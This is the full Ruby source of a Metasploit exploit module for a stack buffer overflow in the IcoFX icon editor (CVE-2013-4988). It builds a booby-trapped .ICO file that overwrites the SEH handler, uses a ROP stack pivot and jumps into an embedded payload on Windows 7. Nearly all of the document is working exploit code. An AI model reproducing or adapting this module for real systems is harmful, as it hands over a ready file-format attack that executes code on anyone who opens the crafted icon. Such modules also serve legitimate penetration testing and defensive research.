109 lines
3.7 KiB
Ruby
109 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'IcoFX Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability in version 2.1
|
|
of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
|
|
crafted ICONDIR header providing an arbitrary long number of images in the file
|
|
can be used to trigger the overflow when reading the ICONDIRENTRY structures.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Marcos Accossatto', # Vulnerability discovery, poc
|
|
'juan vazquez' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-4988' ],
|
|
[ 'OSVDB', '100826' ],
|
|
[ 'BID', '64221' ],
|
|
[ 'EDB', '30208'],
|
|
[ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 864,
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'IcoFX 2.5 / Windows 7 SP1',
|
|
{
|
|
:callback => :target_win7,
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Dec 10 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def target_win7
|
|
# All the gadgets com from IcoFX2.exe 2.5.0.0
|
|
|
|
# ICONDIR structure
|
|
ico = [0].pack("v") # Reserved. Must always be 0
|
|
ico << [1].pack("v") # Image type: 1 for icon (.ico) image
|
|
# 0x66 is enough to overwrite the local variables and, finally
|
|
# the seh handler. 0x7f00 is used to trigger an exception after
|
|
# the overflow, while the overwritten SEH handler is in use.
|
|
ico << [0x7f00].pack("v")
|
|
# ICONDIRENTRY structures 102 structures are using to overwrite
|
|
# every structure = 16 bytes
|
|
# 100 structures are used to reach the local variables
|
|
ico << rand_text(652)
|
|
ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
|
|
ico << [0x0045cc21].pack("V") # jmp esp
|
|
ico << payload.encoded
|
|
ico << rand_text(
|
|
1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
|
|
652 - # padding to align the stack pivot
|
|
80 - # rop nops size
|
|
4 - # jmp esp pointer size
|
|
payload.encoded.length
|
|
)
|
|
# The next ICONDIRENTRY allows to overwrite the interesting local variables
|
|
# on the stack
|
|
ico << [2].pack("V") # Counter (remaining bytes) saved on the stack
|
|
ico << rand_text(8) # Padding
|
|
ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
|
|
# The next ICONDIRENTRY allows to overwrite the seh handler
|
|
ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
|
|
ico << rand_text(0xc) # padding
|
|
return ico
|
|
end
|
|
|
|
def exploit
|
|
unless self.respond_to?(target[:callback])
|
|
fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
|
|
end
|
|
|
|
ico = self.send(target[:callback])
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
file_create(ico)
|
|
end
|
|
|
|
end
|